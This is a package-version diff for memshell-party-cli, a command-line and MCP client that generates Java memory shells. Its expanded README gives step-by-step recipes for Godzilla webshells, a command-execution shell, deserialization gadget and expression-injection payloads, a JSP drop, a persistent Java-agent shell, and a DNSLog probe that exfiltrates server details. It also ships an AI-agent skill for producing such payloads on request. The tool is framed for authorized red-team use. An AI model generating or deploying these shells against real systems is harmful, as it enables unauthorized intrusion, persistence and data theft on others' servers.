memshell-party-cli 0.1.0 → 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/LICENSE CHANGED
@@ -1,21 +1,21 @@
1
- MIT License
2
-
3
- Copyright (c) 2026 memshell-party-cli contributors
4
-
5
- Permission is hereby granted, free of charge, to any person obtaining a copy
6
- of this software and associated documentation files (the "Software"), to deal
7
- in the Software without restriction, including without limitation the rights
8
- to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
- copies of the Software, and to permit persons to whom the Software is
10
- furnished to do so, subject to the following conditions:
11
-
12
- The above copyright notice and this permission notice shall be included in all
13
- copies or substantial portions of the Software.
14
-
15
- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
- AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
- OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
- SOFTWARE.
1
+ MIT License
2
+
3
+ Copyright (c) 2026 memshell-party-cli contributors
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md CHANGED
@@ -1,167 +1,270 @@
1
- # memshell-party-cli
2
-
3
- Command-line client **and** MCP server for [MemShellParty](https://party.mem.mk) — generate Java
4
- memory shells and probe shells straight from your terminal (or from an AI agent), talking to the
5
- same HTTP API that powers `party.mem.mk/ui`.
6
-
7
- > ⚠️ For authorized security testing, red-team engagements, and research only. You are responsible
8
- > for how you use it.
9
-
10
- ## Features
11
-
12
- - **Interactive wizard** — run `memparty gen` with no flags and pick server / tool / type / packer
13
- from live, API-driven menus.
14
- - **Fully scriptable** — every option is also a flag, so generation is reproducible in CI or scripts.
15
- - **MCP server** — `memparty mcp` exposes generation and config as tools for Claude and other MCP clients.
16
- - **All endpoints** — memshell generate, probe generate, config listing, class-name parsing, version.
17
- - **Flexible output** — payload to stdout by default, or `-o file` (auto base64-decodes `.class`/`.jar`).
18
- - **Any backend** — defaults to the public site, override to your self-hosted instance.
19
-
20
- ## Install
21
-
22
- ```bash
23
- npm install -g memshell-party-cli
24
- # or run without installing:
25
- npx memshell-party-cli gen
26
- ```
27
-
28
- Requires Node.js >= 18.
29
-
30
- ## Choosing the backend
31
-
32
- By priority: `--api` flag → `MEMPARTY_API_URL` env var → `~/.mempartyrc` (`{"apiUrl": "..."}`) →
33
- default `https://party.mem.mk`.
34
-
35
- Self-hosting is recommended (see the MemShellParty README for the Docker one-liner):
36
-
37
- ```bash
38
- memparty --api http://127.0.0.1:8080 gen
39
- # or
40
- export MEMPARTY_API_URL=http://127.0.0.1:8080
41
- ```
42
-
43
- ## Usage
44
-
45
- ### Interactive
46
-
47
- ```bash
48
- memparty gen # wizard for a memory shell
49
- memparty probe # wizard for a probe shell
50
- ```
51
-
52
- The wizard launches automatically when required flags are missing and you're in a terminal.
53
- Force it anytime with `-i`, or disable it with `--no-interactive`.
54
-
55
- ### Scripted generation
56
-
57
- ```bash
58
- # Godzilla listener for Tomcat, single Base64 payload to stdout
59
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
60
- --godzilla-pass pass --godzilla-key key --jdk java8
61
-
62
- # Write a decoded .class file (base64 decoding is automatic for .class/.jar)
63
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
64
- --godzilla-pass pass --godzilla-key key -o shell.class
65
-
66
- # Command shell with an explicit encryptor
67
- memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
68
- --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
69
-
70
- # Full JSON response (metadata + payload) for further processing
71
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
72
- ```
73
-
74
- `--jdk` accepts `java6/8/9/11/17/21`, a bare number (`8`), or a raw class-file major version (`52`).
75
-
76
- Note: some packers (e.g. `Base64`) are *aggregate* packers and return several variants at once;
77
- pick a leaf packer (e.g. `DefaultBase64`, `GzipBase64`) for a single payload.
78
-
79
- ### Discovering options
80
-
81
- ```bash
82
- memparty config servers # servers and their shell types
83
- memparty config tools Tomcat # tools + types for one server
84
- memparty config packers # packer parent/child tree
85
- memparty config command # Command encryptors & implementation classes
86
- memparty config servers --json # machine-readable
87
- ```
88
-
89
- ### Probe shells
90
-
91
- ```bash
92
- memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name cmd
93
- memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
94
- ```
95
-
96
- ### Parse a class name
97
-
98
- ```bash
99
- memparty parse-classname --file shell.class
100
- memparty parse-classname <base64-of-class-bytes>
101
- ```
102
-
103
- ### Version
104
-
105
- ```bash
106
- memparty version # CLI version + backend server version
107
- ```
108
-
109
- ## MCP server
110
-
111
- Run the CLI as an MCP server over stdio:
112
-
113
- ```bash
114
- memparty mcp --api http://127.0.0.1:8080
115
- ```
116
-
117
- Example Claude Code / Claude Desktop config:
118
-
119
- ```json
120
- {
121
- "mcpServers": {
122
- "memshell-party": {
123
- "command": "npx",
124
- "args": ["-y", "memshell-party-cli", "mcp"],
125
- "env": { "MEMPARTY_API_URL": "http://127.0.0.1:8080" }
126
- }
127
- }
128
- }
129
- ```
130
-
131
- Exposed tools: `list_servers`, `list_config`, `list_packers`, `list_command_configs`,
132
- `generate_memshell`, `generate_probe`, `parse_classname`, `server_version`.
133
-
134
- ## Programmatic use
135
-
136
- The package also ships a typed API client:
137
-
138
- ```ts
139
- import { MemPartyClient, buildMemShellRequest } from "memshell-party-cli";
140
-
141
- const client = new MemPartyClient({ baseUrl: "http://127.0.0.1:8080" });
142
- const res = await client.generateMemShell(
143
- buildMemShellRequest({
144
- server: "Tomcat",
145
- shellTool: "Godzilla",
146
- shellType: "Listener",
147
- packer: "DefaultBase64",
148
- godzillaPass: "pass",
149
- godzillaKey: "key",
150
- jdk: "java8",
151
- }),
152
- );
153
- console.log(res.memShellResult.shellClassName, res.packResult);
154
- ```
155
-
156
- ## Development
157
-
158
- ```bash
159
- npm install
160
- npm run build # tsup -> dist/
161
- npm test # vitest
162
- npm run typecheck # tsc --noEmit
163
- ```
164
-
165
- ## License
166
-
167
- MIT
1
+ # memshell-party-cli
2
+
3
+ Command-line client **and** MCP server for [MemShellParty](https://party.mem.mk) — generate Java
4
+ memory shells and probe shells straight from your terminal (or from an AI agent), talking to the
5
+ same HTTP API that powers `party.mem.mk/ui`.
6
+
7
+ > ⚠️ For authorized security testing, red-team engagements, and research only. You are responsible
8
+ > for how you use it.
9
+
10
+ ## Features
11
+
12
+ - **Interactive wizard** — run `memparty gen` with no flags and pick server / tool / type / packer
13
+ from live, API-driven menus.
14
+ - **Fully scriptable** — every option is also a flag, so generation is reproducible in CI or scripts.
15
+ - **MCP server** — `memparty mcp` exposes generation and config as tools for Claude and other MCP clients.
16
+ - **All endpoints** — memshell generate, probe generate, config listing, class-name parsing, version.
17
+ - **Flexible output** — payload to stdout by default, or `-o file` (auto base64-decodes `.class`/`.jar`).
18
+ - **Any backend** — defaults to the public site, override to your self-hosted instance.
19
+
20
+ ## Install
21
+
22
+ ```bash
23
+ npm install -g memshell-party-cli
24
+ # or run without installing:
25
+ npx memshell-party-cli gen
26
+ ```
27
+
28
+ Requires Node.js >= 18.
29
+
30
+ ## Choosing the backend
31
+
32
+ By priority: `--api` flag → `MEMPARTY_API_URL` env var → `~/.mempartyrc` (`{"apiUrl": "..."}`) →
33
+ default `https://party.mem.mk`.
34
+
35
+ Self-hosting is recommended (see the MemShellParty README for the Docker one-liner):
36
+
37
+ ```bash
38
+ memparty --api http://127.0.0.1:8080 gen
39
+ # or
40
+ export MEMPARTY_API_URL=http://127.0.0.1:8080
41
+ ```
42
+
43
+ ## Usage
44
+
45
+ ### Interactive
46
+
47
+ ```bash
48
+ memparty gen # wizard for a memory shell
49
+ memparty probe # wizard for a probe shell
50
+ ```
51
+
52
+ The wizard launches automatically when required flags are missing and you're in a terminal.
53
+ Force it anytime with `-i`, or disable it with `--no-interactive`.
54
+
55
+ ### Scripted generation
56
+
57
+ ```bash
58
+ # Godzilla listener for Tomcat, single Base64 payload to stdout
59
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
60
+ --godzilla-pass pass --godzilla-key key --jdk java8
61
+
62
+ # Write a decoded .class file (base64 decoding is automatic for .class/.jar)
63
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
64
+ --godzilla-pass pass --godzilla-key key -o shell.class
65
+
66
+ # Command shell with an explicit encryptor
67
+ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
68
+ --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
69
+
70
+ # Full JSON response (metadata + payload) for further processing
71
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
72
+ ```
73
+
74
+ `--jdk` accepts `java6/8/9/11/17/21`, a bare number (`8`), or a raw class-file major version (`52`).
75
+
76
+ Note: some packers (e.g. `Base64`) are *aggregate* packers and return several variants at once;
77
+ pick a leaf packer (e.g. `DefaultBase64`, `GzipBase64`) for a single payload.
78
+
79
+ ### Discovering options
80
+
81
+ ```bash
82
+ memparty config servers # servers and their shell types
83
+ memparty config tools Tomcat # tools + types for one server
84
+ memparty config packers # packer parent/child tree
85
+ memparty config command # Command encryptors & implementation classes
86
+ memparty config servers --json # machine-readable
87
+ ```
88
+
89
+ ### Probe shells
90
+
91
+ ```bash
92
+ memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name cmd
93
+ memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
94
+ ```
95
+
96
+ Probe method × content matrix (only these combos are supported by the backend):
97
+
98
+ | Method `-m` | Supported content `-c` |
99
+ |-------------|-------------------------|
100
+ | `DNSLog` | `Server`, `JDK` |
101
+ | `Sleep` | `Server` |
102
+ | `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
103
+
104
+ ## Demos
105
+
106
+ End-to-end recipes. Pick the **packer** to match your delivery vector, and the **shell type** to
107
+ match the target (add the `Jakarta` prefix for Tomcat 10+ / Spring Boot 3; use `Agent*` types with
108
+ the `AgentJar*` packers). When in doubt, run `memparty config tools <server>` and
109
+ `memparty config packers` first.
110
+
111
+ ### 1. Godzilla webshell on Tomcat 9 (javax)
112
+
113
+ ```bash
114
+ # Listener-based Godzilla shell, single base64 payload to stdout
115
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
116
+ --godzilla-pass pass --godzilla-key key --jdk java8
117
+
118
+ # ...or write the decoded injector .class straight to disk
119
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
120
+ --godzilla-pass pass --godzilla-key key -o shell.class
121
+ ```
122
+
123
+ ### 2. Same shell on Tomcat 10+ / Spring Boot 3 (Jakarta)
124
+
125
+ ```bash
126
+ memparty gen -s Tomcat -t Godzilla -y JakartaListener -p DefaultBase64 \
127
+ --godzilla-pass pass --godzilla-key key --jdk java17
128
+ ```
129
+
130
+ ### 3. Pure command-execution shell (RCE)
131
+
132
+ ```bash
133
+ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
134
+ --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec --jdk java8
135
+ ```
136
+
137
+ ### 4. Deserialization gadget chain (e.g. CommonsBeanutils ≤ 1.9.4)
138
+
139
+ ```bash
140
+ memparty gen -s Tomcat -t Godzilla -y Listener -p JavaCommonsBeanutils19 \
141
+ --godzilla-pass pass --godzilla-key key --jdk java8
142
+ # other chains: JavaCommonsBeanutils18/17/16/110, JavaCommonsCollections3/4
143
+ ```
144
+
145
+ ### 5. Expression-injection delivery (SpEL / OGNL / EL / Groovy …)
146
+
147
+ ```bash
148
+ # Spring SpEL injection -> define + load the shell class (Spring uses Interceptor, not Filter)
149
+ memparty gen -s SpringWebMvc -t Command -y Interceptor -p SpEL \
150
+ --command-param-name cmd --jdk java8
151
+ # OGNL (Struts2), EL, MVEL, Aviator, JEXL, JXPath, Groovy, Velocity, Freemarker, JinJava ...
152
+ # (SpEL/OGNL/JXPath are *aggregate* packers — they return several variants at once)
153
+ ```
154
+
155
+ ### 6. Drop a JSP file
156
+
157
+ ```bash
158
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefineClassJSP \
159
+ --godzilla-pass pass --godzilla-key key --jdk java8 -o shell.jsp
160
+ ```
161
+
162
+ ### 7. Java-agent memory shell (survives redeploys, hooks deep)
163
+
164
+ ```bash
165
+ memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar \
166
+ --godzilla-pass pass --godzilla-key key --jdk java8 -o agent.jar
167
+ ```
168
+
169
+ ### 8. Fingerprint the target first (blind)
170
+
171
+ ```bash
172
+ # DNSLog: confirm code execution + exfil the server/JDK name via DNS
173
+ memparty probe -m DNSLog -c Server -p DefaultBase64 --host <your>.dnslog.cn
174
+ # Sleep: time-based blind — delays Ns only if the server matches your guess
175
+ memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
176
+ ```
177
+
178
+ The server name a probe reports is exactly the `-s` value to pass to `memparty gen`.
179
+
180
+ ### Parse a class name
181
+
182
+ ```bash
183
+ memparty parse-classname --file shell.class
184
+ memparty parse-classname <base64-of-class-bytes>
185
+ ```
186
+
187
+ ### Version
188
+
189
+ ```bash
190
+ memparty version # CLI version + backend server version
191
+ ```
192
+
193
+ ## MCP server
194
+
195
+ Run the CLI as an MCP server over stdio:
196
+
197
+ ```bash
198
+ memparty mcp --api http://127.0.0.1:8080
199
+ ```
200
+
201
+ Example Claude Code / Claude Desktop config:
202
+
203
+ ```json
204
+ {
205
+ "mcpServers": {
206
+ "memshell-party": {
207
+ "command": "npx",
208
+ "args": ["-y", "memshell-party-cli", "mcp"],
209
+ "env": { "MEMPARTY_API_URL": "http://127.0.0.1:8080" }
210
+ }
211
+ }
212
+ }
213
+ ```
214
+
215
+ Exposed tools: `list_servers`, `list_config`, `list_packers`, `list_command_configs`,
216
+ `generate_memshell`, `generate_probe`, `parse_classname`, `server_version`.
217
+
218
+ ## AI skill (Claude Code)
219
+
220
+ The package ships a [Claude Code skill](https://docs.claude.com/en/docs/claude-code/skills) at
221
+ `skills/memshell-party/SKILL.md` that teaches an AI agent how to drive MemShellParty — the
222
+ server/tool/type/packer decision tree, the probe method×content matrix, packer-by-scenario
223
+ guidance, and the common gotchas (Jakarta vs javax, JDK targeting, aggregate vs leaf packers).
224
+
225
+ Install it into a project (or drop it in `~/.claude/skills/` for global use):
226
+
227
+ ```bash
228
+ # from the package root, or after `npm install memshell-party-cli`:
229
+ mkdir -p .claude/skills
230
+ cp node_modules/memshell-party-cli/skills/memshell-party .claude/skills/ -r
231
+ ```
232
+
233
+ Then just ask in natural language, e.g. *"generate a Godzilla listener for Tomcat 10"* or
234
+ *"give me a CommonsBeanutils deserialization payload for a Spring Boot 2 app"* — the skill guides
235
+ the agent to enumerate options first and pick the right packer for the vector.
236
+
237
+ ## Programmatic use
238
+
239
+ The package also ships a typed API client:
240
+
241
+ ```ts
242
+ import { MemPartyClient, buildMemShellRequest } from "memshell-party-cli";
243
+
244
+ const client = new MemPartyClient({ baseUrl: "http://127.0.0.1:8080" });
245
+ const res = await client.generateMemShell(
246
+ buildMemShellRequest({
247
+ server: "Tomcat",
248
+ shellTool: "Godzilla",
249
+ shellType: "Listener",
250
+ packer: "DefaultBase64",
251
+ godzillaPass: "pass",
252
+ godzillaKey: "key",
253
+ jdk: "java8",
254
+ }),
255
+ );
256
+ console.log(res.memShellResult.shellClassName, res.packResult);
257
+ ```
258
+
259
+ ## Development
260
+
261
+ ```bash
262
+ npm install
263
+ npm run build # tsup -> dist/
264
+ npm test # vitest
265
+ npm run typecheck # tsc --noEmit
266
+ ```
267
+
268
+ ## License
269
+
270
+ MIT